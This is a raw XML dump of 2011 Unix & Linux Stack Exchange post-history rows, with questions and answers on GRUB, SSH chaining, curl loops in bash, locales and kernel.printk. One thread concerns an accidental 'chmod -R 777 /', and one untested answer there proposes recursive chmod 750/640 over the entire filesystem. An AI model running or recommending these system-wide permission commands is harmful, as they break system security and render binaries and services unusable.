  <row Id="32026" PostHistoryTypeId="1" PostId="12996" RevisionGUID="6c7c65d7-80be-427d-9772-d35edd5f3828" CreationDate="2011-05-11T13:32:41.470" UserId="6960" Text="How to modify GRUB to boot from e.g.: USB or CDROM?" />
  <row Id="32027" PostHistoryTypeId="3" PostId="12996" RevisionGUID="6c7c65d7-80be-427d-9772-d35edd5f3828" CreationDate="2011-05-11T13:32:41.470" UserId="6960" Text="égrubà" />
  <row Id="32029" PostHistoryTypeId="2" PostId="12997" RevisionGUID="ff821a15-9cf1-4d03-81c4-41b5c9a61055" CreationDate="2011-05-11T14:01:53.457" UserId="7167" Text="On Linux I use `flock lock command` to execute a command with an exclusive lock.&#xD;&#xA;&#xD;&#xA;What is the standard operating system command of Solaris 10 to do the same in a shell?" />
  <row Id="32030" PostHistoryTypeId="1" PostId="12997" RevisionGUID="ff821a15-9cf1-4d03-81c4-41b5c9a61055" CreationDate="2011-05-11T14:01:53.457" UserId="7167" Text="How to lock on Solaris 10?" />
  <row Id="32031" PostHistoryTypeId="3" PostId="12997" RevisionGUID="ff821a15-9cf1-4d03-81c4-41b5c9a61055" CreationDate="2011-05-11T14:01:53.457" UserId="7167" Text="éshellàésolarisàélockà" />
  <row Id="32032" PostHistoryTypeId="11" PostId="12935" RevisionGUID="165df4ce-ac35-40d4-8ff1-38758437bcc6" CreationDate="2011-05-11T14:06:01.490" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32033" PostHistoryTypeId="6" PostId="12997" RevisionGUID="11c574a9-8f38-42d8-bfe9-f465f30ad10e" CreationDate="2011-05-11T14:21:14.280" UserId="885" Comment="edited tags" Text="écommandölineàésolarisàélockà" />
  <row Id="32034" PostHistoryTypeId="5" PostId="12995" RevisionGUID="4bfbc55f-13f9-41e7-89a6-a7aec9fc7dc3" CreationDate="2011-05-11T14:36:03.720" UserId="73" Comment="deleted 161 characters in body" Text="Where do I download a source RPM from?&#xD;&#xA;" />
  <row Id="32035" PostHistoryTypeId="5" PostId="9908" RevisionGUID="e04d059e-634c-46e7-af36-a8c1d0a76326" CreationDate="2011-05-11T14:38:46.793" UserId="73" Comment="deleted 32 characters in body" Text="Maybe I'm getting the question wrong, since English is not my first language, but wouldn't it be better if you edited the video with a tool like **Kino** instead of making a playlist like that?&#xD;&#xA;&#xD;&#xA;You can adjust the starting and stopping times as you want, and I don't think it would be that difficult.&#xD;&#xA;" />
  <row Id="32036" PostHistoryTypeId="25" PostId="12997" RevisionGUID="89b3571c-2f43-4cbc-a33a-84228421e6e6" CreationDate="2011-05-11T15:11:48.270" Comment="http://twitter.com/#!/StackUnix/status/68332482176618496" />
  <row Id="32037" PostHistoryTypeId="2" PostId="12998" RevisionGUID="df1a857e-bd8f-4b90-bba2-b94aed295ffb" CreationDate="2011-05-11T15:12:08.037" UserId="7386" Text="I was trying to run a chmod -R 777 ./ but ended up typing chmod -R 777 / and set 777 on my entire machine. What can go wrong? Please help :(&#xD;&#xA;&#xD;&#xA;how can i fix it, btw?" />
  <row Id="32038" PostHistoryTypeId="1" PostId="12998" RevisionGUID="df1a857e-bd8f-4b90-bba2-b94aed295ffb" CreationDate="2011-05-11T15:12:08.037" UserId="7386" Text="Wrongly set chmod / 777. Problems?" />
  <row Id="32039" PostHistoryTypeId="3" PostId="12998" RevisionGUID="df1a857e-bd8f-4b90-bba2-b94aed295ffb" CreationDate="2011-05-11T15:12:08.037" UserId="7386" Text="épermissionsàéchmodà" />
  <row Id="32040" PostHistoryTypeId="5" PostId="12998" RevisionGUID="149608d8-0ea8-4990-b4e7-76086372575e" CreationDate="2011-05-11T15:16:04.870" UserId="73" Comment="deleted 17 characters in body" Text="I was trying to run `chmod -R 777 ./` but ended up typing `chmod -R 777 /` and set `777` on my entire machine. What can go wrong? How can I fix it?&#xD;&#xA;" />
  <row Id="32041" PostHistoryTypeId="2" PostId="12999" RevisionGUID="70b46065-25a3-4e58-96f9-3cdc948b66c1" CreationDate="2011-05-11T15:29:26.767" UserId="3389" Text="Some security-conscious programs will not start if certain files have too &quot;loose&quot; of permissions.  As @ceving said, `sshd` is the most typical of this.&#xD;&#xA;&#xD;&#xA;The main thing that can go wrong is now *any user* can open, read, and write *any file* on your system.  The two reasons why this are bad is: A) if a malicious user gains control of your system either through a an exploit or misconfiguration, he/she can modify anything on your system now, and B) you can delete anything you want even if you are not root, so you've just negated most of the protections of not running as root.&#xD;&#xA;&#xD;&#xA;If you didn't back up the permissions beforehand you're in a bit of situation.  You might be able to create a script that &quot;fetches&quot; a list of permissions from a freshly installed system and then &quot;apply&quot; those to everything on your system.  I don't have such a script handy, though." />
  <row Id="32042" PostHistoryTypeId="2" PostId="13000" RevisionGUID="42e800fa-c56b-4b20-aa4c-6aa985d29b4e" CreationDate="2011-05-11T15:29:38.050" UserId="1925" Text="You may not notice it at first, but lots of things can and will go wrong. The main problem is that the entire security model for the entire system is broken. It's like having a body without a skin, organs all out in the air. It's bound to get infected because it's not meant to function like that. Even if it seems to work for a few minutes you need to clean this up.&#xD;&#xA;&#xD;&#xA;The best way would actually be to start from scratch. This way will greatly reduce your risk and give you a cleaner result.&#xD;&#xA;&#xD;&#xA;If you do try to clean it up, The primary way would be to tell your distro's packages manager to reinstall EVERYTHING on the system including overwriting config files. Then use whatever verify system it has to look through them and make sure none of them are flagged as having files with permissions out of the ordinary. Next work through things like user home directories and reset everything to sane permissions en masse, then work through the few things that should have special permissions (like ssh keys files). Lastly, do a full system find for everything marked as 777 and go through the list (it should be small if you've done the other steps thourally) and work through them one by one making sure they should be the way they are." />
  <row Id="32043" PostHistoryTypeId="2" PostId="13001" RevisionGUID="ae62f639-d621-4b5a-926d-e329a4758768" CreationDate="2011-05-11T15:39:58.563" UserId="7167" Text="I would try something like this:&#xD;&#xA;&#xD;&#xA;    dpkg-query -W -f='${Package}\n'|xargs -L1 apt-get --reinstall&#xD;&#xA;&#xD;&#xA;The command will reinstall every installed package on a Debian based system. This is probably the last thing one can try before grabbing the installation CD." />
  <row Id="32044" PostHistoryTypeId="2" PostId="13002" RevisionGUID="cd1a5ea4-be65-4aec-b7f5-b4c660a3cddf" CreationDate="2011-05-11T16:08:20.603" UserId="3370" Text="I've never tried this. Anyway, there is my two cents:&#xD;&#xA;&#xD;&#xA;&quot;find / -type d -exec chmod 750 {} \; &#xD;&#xA;&quot;find / -type f -exec chmod 640 {} \;&quot; &#xD;&#xA;&#xD;&#xA;There will be some services that won't work, adjust their permissions manually one by one.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32045" PostHistoryTypeId="2" PostId="13003" RevisionGUID="9a18360d-f02a-48ec-8280-1f8d3dd196f4" CreationDate="2011-05-11T17:14:11.367" UserId="7048" Text="Hi there I'm currently using Ubuntu 10.10 and Netbeans 7.0 and I can't use accents on foreign words any more. It's not a version specific problem seems it's related with Swing since I've got the same problem with older version of Netbeans and OS... &#xD;&#xA;&#xD;&#xA;When I type ['+a] on any app on Linux I get a [á] vowel&#xD;&#xA;All Linux apps are working fine, but Netbeans don't.&#xD;&#xA;When I type ['+a] on Netbeans I get a [a] vowel (no accent)&#xD;&#xA;I cant type quotes and double quotes either.&#xD;&#xA;&#xD;&#xA;But I got accents on Netbeans using right_alt key.&#xD;&#xA;(that's not what I want)&#xD;&#xA;&#xD;&#xA;at terminal I got the following locale:&#xD;&#xA;&#xD;&#xA;    LANG=en_US.utf8&#xD;&#xA;    LC_CTYPE=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_NUMERIC=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_TIME=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_COLLATE=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_MONETARY=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_MESSAGES=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_PAPER=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_NAME=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_ADDRESS=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_TELEPHONE=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_MEASUREMENT=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_IDENTIFICATION=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_ALL=&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Does anybody how to solve this?" />
  <row Id="32046" PostHistoryTypeId="1" PostId="13003" RevisionGUID="9a18360d-f02a-48ec-8280-1f8d3dd196f4" CreationDate="2011-05-11T17:14:11.367" UserId="7048" Text="USA International keyboard layout on java swing" />
  <row Id="32047" PostHistoryTypeId="3" PostId="13003" RevisionGUID="9a18360d-f02a-48ec-8280-1f8d3dd196f4" CreationDate="2011-05-11T17:14:11.367" UserId="7048" Text="ékeyboardàéjavaàélocaleà" />
  <row Id="32048" PostHistoryTypeId="2" PostId="13004" RevisionGUID="31cb0d24-6c09-4ce5-9c58-dcb3e7457768" CreationDate="2011-05-11T18:06:12.970" UserId="6960" Text="I want to reach hosts that are only indirectly accessible with SSH/SCP/SFTP.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Are there more solutions for this?&lt;br&gt;&#xD;&#xA;Are there any **small** and **clean** howtos for it?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;E.g.:&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	SERVER-A&#xD;&#xA;	|&#xD;&#xA;	SERVER-B&#xD;&#xA;	|&#xD;&#xA;	CLIENT&#xD;&#xA;&#xD;&#xA;I need to reach SERVER-A from the CLIENT with SCP.&lt;br&gt;&#xD;&#xA;SERVER-A is &quot;behind&quot; SERVER-B." />
  <row Id="32049" PostHistoryTypeId="1" PostId="13004" RevisionGUID="31cb0d24-6c09-4ce5-9c58-dcb3e7457768" CreationDate="2011-05-11T18:06:12.970" UserId="6960" Text="How to chain SSH?" />
  <row Id="32050" PostHistoryTypeId="3" PostId="13004" RevisionGUID="31cb0d24-6c09-4ce5-9c58-dcb3e7457768" CreationDate="2011-05-11T18:06:12.970" UserId="6960" Text="ésshà" />
  <row Id="32051" PostHistoryTypeId="5" PostId="13003" RevisionGUID="f12a0e6c-14d2-47d8-a751-d8d27698c36c" CreationDate="2011-05-11T18:06:54.777" UserId="1925" Comment="deleted 46 characters in body" Text="I'm currently using Ubuntu 10.10 and Netbeans 7.0 and I can't use accents on foreign words any more. It's not a version specific problem seems it's related with Swing since I've got the same problem with older version of Netbeans and OS... &#xD;&#xA;&#xD;&#xA;When I type `'+a` on any app on Linux I get a `á` vowel. All Linux apps are working fine, but Netbeans doesn't. When I type `'+a` on Netbeans I get a `a` vowel (no accent). I cant type quotes and double quotes either.&#xD;&#xA;&#xD;&#xA;But I got accents on Netbeans using right_alt key. (that's not what I want)&#xD;&#xA;&#xD;&#xA;At terminal I got the following locale:&#xD;&#xA;&#xD;&#xA;    LANG=en_US.utf8&#xD;&#xA;    LC_CTYPE=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_NUMERIC=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_TIME=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_COLLATE=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_MONETARY=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_MESSAGES=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_PAPER=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_NAME=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_ADDRESS=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_TELEPHONE=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_MEASUREMENT=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_IDENTIFICATION=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_ALL=" />
  <row Id="32052" PostHistoryTypeId="25" PostId="12998" RevisionGUID="41d52895-3913-45c3-b40e-c6543a02b254" CreationDate="2011-05-11T18:11:49.067" Comment="http://twitter.com/#!/StackUnix/status/68377783646162944" />
  <row Id="32053" PostHistoryTypeId="2" PostId="13005" RevisionGUID="23950292-de07-4466-9efd-0c8824cc7163" CreationDate="2011-05-11T18:19:22.233" UserId="4658" Text="Hi,&#xD;&#xA;&#xD;&#xA;I would like to cancel the keyboard for kiosk-based application improved on Linux.It could be prevented the keyboard with &quot;nohup cat /dev/tty0&quot; on some Linux distribution.But,it's not working on Debian.How can I resolve this?&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="32054" PostHistoryTypeId="1" PostId="13005" RevisionGUID="23950292-de07-4466-9efd-0c8824cc7163" CreationDate="2011-05-11T18:19:22.233" UserId="4658" Text="Keyboard canceled on debian" />
  <row Id="32055" PostHistoryTypeId="3" PostId="13005" RevisionGUID="23950292-de07-4466-9efd-0c8824cc7163" CreationDate="2011-05-11T18:19:22.233" UserId="4658" Text="édebianàékioskà" />
  <row Id="32056" PostHistoryTypeId="5" PostId="13005" RevisionGUID="08863fdf-900d-4508-981a-ceb13f782e25" CreationDate="2011-05-11T18:29:06.310" UserId="1925" Comment="Rewrite English for clarity." Text="I would like to block the keyboard for a kiosk-based application implemented on Linux. The keyboard could be blocked with &quot;nohup cat /dev/tty0&quot; on some Linux distributions, but it's not working on Debian. How can I resolve this?" />
  <row Id="32057" PostHistoryTypeId="4" PostId="13005" RevisionGUID="08863fdf-900d-4508-981a-ceb13f782e25" CreationDate="2011-05-11T18:29:06.310" UserId="1925" Comment="Rewrite English for clarity." Text="Block keyboard on debian" />
  <row Id="32058" PostHistoryTypeId="2" PostId="13006" RevisionGUID="511b1163-89e1-43aa-a39b-801881010f2b" CreationDate="2011-05-11T18:35:21.730" UserId="3886" Text="You can use SSH port forwarding:&#xD;&#xA;&#xD;&#xA;    ssh server-a -L2022:server-b:22&#xD;&#xA;&#xD;&#xA;After this you will have port 2022 on client machine forwarded to port 22 of server-b. And you can connect to it with:&#xD;&#xA;&#xD;&#xA;    ssh 127.0.0.1 -p 2022" />
  <row Id="32059" PostHistoryTypeId="2" PostId="13007" RevisionGUID="41fe20b6-8276-4919-8c96-9f6a9b235cdb" CreationDate="2011-05-11T18:40:49.220" UserId="3459" Text="From http://www.supergrubdisk.org/wiki/SGD_BootScript_Usb_Boot_from_Cdrom&#xD;&#xA;&#xD;&#xA;    title Try USB HD0 boot&#xD;&#xA;    rootnoverify (hd0)&#xD;&#xA;    chainloader +1&#xD;&#xA;    boot&#xD;&#xA;&#xD;&#xA;And&#xD;&#xA;&#xD;&#xA;    title Try USB HD1 boot&#xD;&#xA;    map (hd0) (hd1)&#xD;&#xA;    map (hd1) (hd0)&#xD;&#xA;    liveswap&#xD;&#xA;    rootnoverify (hd0)&#xD;&#xA;    chainloader +1&#xD;&#xA;    boot&#xD;&#xA;&#xD;&#xA;I only know that it is possible. I do not know the specifics of how it works or how to do it so I don't know if extra steps are required to get GRUB to see the USB drive as a harddrive." />
  <row Id="32060" PostHistoryTypeId="2" PostId="13008" RevisionGUID="5652f4b5-2c47-4018-b0eb-1a1b18865f56" CreationDate="2011-05-11T18:44:08.437" UserId="7391" Text="I'm trying to automate a curl script and eventually make it loop also i found that i can't use any loop like:&#xD;&#xA;&#xD;&#xA;    for i in `cat authors`&#xD;&#xA;    do&#xD;&#xA;    curl *line here*   &quot;www.test.com/autors?string=&quot;$i&quot;&amp;proc=39&quot;&#xD;&#xA;    etc&#xD;&#xA;&#xD;&#xA;or even env glob variables for CURL&#xD;&#xA;&#xD;&#xA;is there a way to loop a get request on curl for one variable ?&#xD;&#xA;&#xD;&#xA;    curl -H &quot;Host: www.test.com&quot; -G &quot;www.test.com/autors?string=&quot;author+name&quot;&amp;proc=39&quot;&#xD;&#xA;&#xD;&#xA;all i get is the traffic graph curl has and no good result i'm using BASH thanks in advance&#xD;&#xA;" />
  <row Id="32061" PostHistoryTypeId="1" PostId="13008" RevisionGUID="5652f4b5-2c47-4018-b0eb-1a1b18865f56" CreationDate="2011-05-11T18:44:08.437" UserId="7391" Text="loop curl get request bash" />
  <row Id="32062" PostHistoryTypeId="3" PostId="13008" RevisionGUID="5652f4b5-2c47-4018-b0eb-1a1b18865f56" CreationDate="2011-05-11T18:44:08.437" UserId="7391" Text="ébashàéloopàécurlà" />
  <row Id="32063" PostHistoryTypeId="2" PostId="13009" RevisionGUID="f553b615-4d14-41c1-ace8-2fe5cd6fcd70" CreationDate="2011-05-11T18:44:37.413" UserId="7390" Text="Hi everyone!&#xD;&#xA;&#xD;&#xA;Just installed Fedora 15 with gnome3. Is there like à Software center like in Ubuntu?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="32064" PostHistoryTypeId="1" PostId="13009" RevisionGUID="f553b615-4d14-41c1-ace8-2fe5cd6fcd70" CreationDate="2011-05-11T18:44:37.413" UserId="7390" Text="Gnome3 Software center" />
  <row Id="32065" PostHistoryTypeId="3" PostId="13009" RevisionGUID="f553b615-4d14-41c1-ace8-2fe5cd6fcd70" CreationDate="2011-05-11T18:44:37.413" UserId="7390" Text="éfedoraàégnome3à" />
  <row Id="32066" PostHistoryTypeId="2" PostId="13010" RevisionGUID="3f8b3ec0-033f-49d7-a350-1b1bea9a9164" CreationDate="2011-05-11T18:46:47.677" UserId="3115" Text="I am running this little test script I wrote :&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    testHarness &lt;&lt;runTest&#xD;&#xA;    $TESTCASE&#xD;&#xA;    runTest&#xD;&#xA;&#xD;&#xA;from the command line :&#xD;&#xA;&#xD;&#xA;    ./test.sh &quot;1092$212&quot;&#xD;&#xA;&#xD;&#xA;but the dollar sign is being stripped out.  If I escape it, it works.  But I thought the double quotes would protect me from needing to do this.  Can someone please help me understand whats going on and how to fix this?&#xD;&#xA;" />
  <row Id="32067" PostHistoryTypeId="1" PostId="13010" RevisionGUID="3f8b3ec0-033f-49d7-a350-1b1bea9a9164" CreationDate="2011-05-11T18:46:47.677" UserId="3115" Text="Special character interpolation" />
  <row Id="32068" PostHistoryTypeId="3" PostId="13010" RevisionGUID="3f8b3ec0-033f-49d7-a350-1b1bea9a9164" CreationDate="2011-05-11T18:46:47.677" UserId="3115" Text="éscriptingàéspecialöcharactersà" />
  <row Id="32069" PostHistoryTypeId="2" PostId="13011" RevisionGUID="9999cb7c-59f1-4e69-a57e-9f550cc48e1c" CreationDate="2011-05-11T18:47:33.533" UserId="7392" Text="This site helps find linux-compatible printers: http://linuxdeal.com/printers.php?type=aio&#xD;&#xA;&#xD;&#xA;This site helps let you know if printers you already have or want are linux-compatible: http://www.openprinting.org/printers&#xD;&#xA;&#xD;&#xA;Hope this helps!" />
  <row Id="32070" PostHistoryTypeId="2" PostId="13012" RevisionGUID="befbbf43-c4e4-4a1c-85db-0159f8372cad" CreationDate="2011-05-11T19:00:40.403" UserId="1925" Text="Variables are still expanded inside double quotes. If you want to avoid this behavior you should use single quotes instead." />
  <row Id="32071" PostHistoryTypeId="5" PostId="13009" RevisionGUID="72d0c5f4-10da-4f64-81e2-6ac91c9b2b99" CreationDate="2011-05-11T19:07:03.880" UserId="73" Comment="deleted 24 characters in body; edited title" Text="Just installed Fedora 15 with Gnome 3. Is there like a software center like in Ubuntu?&#xD;&#xA;" />
  <row Id="32072" PostHistoryTypeId="4" PostId="13009" RevisionGUID="72d0c5f4-10da-4f64-81e2-6ac91c9b2b99" CreationDate="2011-05-11T19:07:03.880" UserId="73" Comment="deleted 24 characters in body; edited title" Text="Gnome 3 Software Center" />
  <row Id="32073" PostHistoryTypeId="17" PostId="13014" RevisionGUID="9ffde3bc-d7d4-4452-b012-db2efc940a60" CreationDate="2011-05-11T19:15:58.713" UserId="-1" Comment="from http://stackoverflow.com/questions/5968844/loop-curl-get-request-bash/5968910#5968910" Text="" />
  <row Id="32074" PostHistoryTypeId="17" PostId="13015" RevisionGUID="c4fcb2d1-c728-4383-bcb3-71d9449a613d" CreationDate="2011-05-11T19:15:58.713" UserId="-1" Comment="from http://stackoverflow.com/questions/5968844/loop-curl-get-request-bash/5969393#5969393" Text="" />
  <row Id="32075" PostHistoryTypeId="2" PostId="13014" RevisionGUID="3255f8d0-d819-4947-baec-c859bd5005cf" CreationDate="2011-05-11T18:32:56.267" UserId="1925" Text="Try this construct instead:&#xD;&#xA;&#xD;&#xA;     while read author; do&#xD;&#xA;          curl &quot;http://www.test.com/authors?string=$author&amp;proc=39&quot;&#xD;&#xA;     done &lt; authors&#xD;&#xA;&#xD;&#xA;This will save you the cat, having to do things in backticks, etc. It would also allow you to read several columns out of the input file if you wanted to, but specifying just one variable to fetch like in my example will get the whole line." />
  <row Id="32076" PostHistoryTypeId="2" PostId="13015" RevisionGUID="0af0efe4-c96e-482f-bc61-44d2065d09bb" CreationDate="2011-05-11T19:14:15.283" UserDisplayName="David W." Text="&gt; authors contain names like with spaces and i guess dots&#xD;&#xA;&#xD;&#xA;Several things going on:&#xD;&#xA;&#xD;&#xA;First of all, the way you're doing the `for` loop simply doesn't work. Try this:&#xD;&#xA;&#xD;&#xA;     for i in `cat authors`&#xD;&#xA;     do&#xD;&#xA;        echo &quot;Author = \&quot;$i\&quot;&quot;&#xD;&#xA;     done&#xD;&#xA;&#xD;&#xA;See what is going on? Every white space separates a value for `$i`. If you have first and last names, you'll be getting one line with just a first name and one line with just a last name.&#xD;&#xA;&#xD;&#xA;Now try this:&#xD;&#xA;&#xD;&#xA;    cat authors | while read i&#xD;&#xA;    do&#xD;&#xA;        echo &quot;Author = \&quot;$i\&quot;&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;A bit better? Now, `$i` is your entire line.&#xD;&#xA;(Yes, I know about the &quot;useless cat&quot;, but see where I'm going here!)&#xD;&#xA;&#xD;&#xA;Second of all, you may have to convert those spaces and periods into valid URL characters. Spaces must be converted into `%20`. Let's take a different approach:&#xD;&#xA;&#xD;&#xA;     sed 's/ /%20/g' authors | while read test&#xD;&#xA;    do&#xD;&#xA;        echo &quot;curl *line here* www.test.com/authors?string=$i&amp;proc=39&quot;&#xD;&#xA;    done&#xD;&#xA;(Now, you see why I had the `cat`.)&#xD;&#xA;&#xD;&#xA;This should print out your curl command. What I am doing is taking the `authors` file and converting the spaces to the string `%20`. Now, I can get rid of the quotes around the string which are also causing problems.&#xD;&#xA;&#xD;&#xA;Thus we can now get rid of the echo, and run the actual CURL command:&#xD;&#xA;&#xD;&#xA;     sed 's/ /%20/g' authors | while read test&#xD;&#xA;    do&#xD;&#xA;        curl *line here* www.test.com/authors?string=$i&amp;proc=39&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Now what does the **`*line here*`** represent? Is that your list of options? Oh, and you had _autors_ instead of _authors_ in your program. Did you mistype it here, or is that the way your program suppose to be?" />
  <row Id="32081" PostHistoryTypeId="5" PostId="13008" RevisionGUID="0eae315a-38bb-41e2-9d06-39c108304695" CreationDate="2011-05-11T19:16:24.817" UserId="73" Comment="deleted 13 characters in body" Text="I'm trying to automate a curl script and eventually make it loop also. I found that I can't use any loop like:&#xD;&#xA;&#xD;&#xA;    for i in `cat authors`&#xD;&#xA;    do&#xD;&#xA;        curl *line here*   &quot;www.test.com/autors?string=&quot;$i&quot;&amp;proc=39&quot;&#xD;&#xA;    etc&#xD;&#xA;&#xD;&#xA;or even env glob variables for CURL&#xD;&#xA;&#xD;&#xA;Is there a way to loop a get request on curl for one variable?&#xD;&#xA;&#xD;&#xA;    curl -H &quot;Host: www.test.com&quot; -G &quot;www.test.com/autors?string=&quot;author+name&quot;&amp;proc=39&quot;&#xD;&#xA;&#xD;&#xA;All I get is the traffic graph CURL has and no good result. I'm using bash&#xD;&#xA;" />
  <row Id="32085" PostHistoryTypeId="18" PostId="13014" RevisionGUID="5af10a7c-ba3d-443d-8845-0eb49ccdad71" CreationDate="2011-05-11T19:16:51.557" UserId="73" Comment="from http://unix.stackexchange.com/questions/13013/loop-curl-get-request-bash" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32086" PostHistoryTypeId="18" PostId="13015" RevisionGUID="5af10a7c-ba3d-443d-8845-0eb49ccdad71" CreationDate="2011-05-11T19:16:51.557" UserId="73" Comment="from http://unix.stackexchange.com/questions/13013/loop-curl-get-request-bash" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32087" PostHistoryTypeId="18" PostId="13008" RevisionGUID="5af10a7c-ba3d-443d-8845-0eb49ccdad71" CreationDate="2011-05-11T19:16:51.557" UserId="73" Comment="from http://unix.stackexchange.com/questions/13013/loop-curl-get-request-bash" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32090" PostHistoryTypeId="2" PostId="13016" RevisionGUID="3aa6ce44-eb83-46a6-aeae-67a4e3194d38" CreationDate="2011-05-11T19:17:40.337" UserId="1952" Text="    ssh server1 'ssh server2'&#xD;&#xA;&#xD;&#xA;seems a little bit simpler to me. " />
  <row Id="32091" PostHistoryTypeId="2" PostId="13017" RevisionGUID="dfb83387-ead4-4955-a2aa-b992ff9d92f2" CreationDate="2011-05-11T19:22:17.460" UserId="1952" Text="I would like to have a log file that contains an entry for every time a user runs a suid program, containing the user name, the program and any command line arguments passed to it. Is there a standard way to achieve this on linux?" />
  <row Id="32092" PostHistoryTypeId="1" PostId="13017" RevisionGUID="dfb83387-ead4-4955-a2aa-b992ff9d92f2" CreationDate="2011-05-11T19:22:17.460" UserId="1952" Text="Log every invocation of a SUID program?" />
  <row Id="32093" PostHistoryTypeId="3" PostId="13017" RevisionGUID="dfb83387-ead4-4955-a2aa-b992ff9d92f2" CreationDate="2011-05-11T19:22:17.460" UserId="1952" Text="élinuxàésecurityàélogsà" />
  <row Id="32094" PostHistoryTypeId="2" PostId="13018" RevisionGUID="a41273db-10d3-4171-9e1a-c3d7abc518d8" CreationDate="2011-05-11T19:25:06.473" UserId="4105" Text="Following gelraen's answer.&#xD;&#xA;&#xD;&#xA;You can use port forwarding pretty nicely when in conjunction with the `.ssh/config`. that is, you set a proxy command for a specific imaginary hostname which does nothing but tcp-forward through an already open tunnel:&#xD;&#xA;&#xD;&#xA;    Host imag&#xD;&#xA;    ProxyCommand socat - tcp-connect:localhost:2022&#xD;&#xA;&#xD;&#xA;Then you can just use `ssh imag` to connect to server-b:22 when the tunnel is up.&#xD;&#xA;&#xD;&#xA;[`socat`](http://www.dest-unreach.org/socat/) is just what I used, `netcat` should do es well ;)&#xD;&#xA;&#xD;&#xA;One nifty thing about `ProxyCommand` is that it interpolates environment variables - so... give it a try." />
  <row Id="32095" PostHistoryTypeId="2" PostId="13019" RevisionGUID="8a0cbebd-6e54-416b-91d2-16a75961b19a" CreationDate="2011-05-11T19:29:56.467" UserId="1209" Text="Between Debian 5 and 6, the default suggested value for kernel.printk in `/etc/sysctl.conf` was changed from `kernel.printk = 4 4 1 7` to `kernel.printk = 3 4 1 3`.  I understand that the first value corresponds to what is going to the console.  What are the next 3 values for?&#xD;&#xA;&#xD;&#xA;Do the numerical values have the same meaning as the syslog log levels?  Or do they have different definitions?&#xD;&#xA;&#xD;&#xA;Am I missing some documentation in my searching, or is the only location to figure this out the kernel source.&#xD;&#xA;" />
  <row Id="32096" PostHistoryTypeId="1" PostId="13019" RevisionGUID="8a0cbebd-6e54-416b-91d2-16a75961b19a" CreationDate="2011-05-11T19:29:56.467" UserId="1209" Text="Description of kernel.printk values" />
  <row Id="32097" PostHistoryTypeId="3" PostId="13019" RevisionGUID="8a0cbebd-6e54-416b-91d2-16a75961b19a" CreationDate="2011-05-11T19:29:56.467" UserId="1209" Text="élinuxàésysctlà" />
  <row Id="32098" PostHistoryTypeId="2" PostId="13020" RevisionGUID="ef9e2700-e171-425d-84ec-a158fc1f5ca3" CreationDate="2011-05-11T19:39:29.653" UserId="7395" Text="Usually most rpm-based distributions make the SRPMs available on their mirrors in the SRPMS directory. Using that you can manually download the src.rpm package from the HTTP or FTP server. Also, there is another way, using yumdownloader as described [here](http://www.imminentweb.com/technologies/yum-download-source-rpm).&#xD;&#xA;&#xD;&#xA;Personally, more often I get srpms manually, but, depending on what do you want to do, your mileage may vary." />
  <row Id="32099" PostHistoryTypeId="2" PostId="13021" RevisionGUID="56f20031-db76-4f6c-9b6c-1158b161936a" CreationDate="2011-05-11T19:46:56.260" UserId="6960" Text="I need a program that allows me to pass an application through a socks server, even if the program does not have native socks support. Under Ubuntu I can use socksify for this. What can I use under Fedora?" />
  <row Id="32100" PostHistoryTypeId="1" PostId="13021" RevisionGUID="56f20031-db76-4f6c-9b6c-1158b161936a" CreationDate="2011-05-11T19:46:56.260" UserId="6960" Text="Socksify like program for Fedora?" />
  <row Id="32101" PostHistoryTypeId="3" PostId="13021" RevisionGUID="56f20031-db76-4f6c-9b6c-1158b161936a" CreationDate="2011-05-11T19:46:56.260" UserId="6960" Text="élinuxà" />
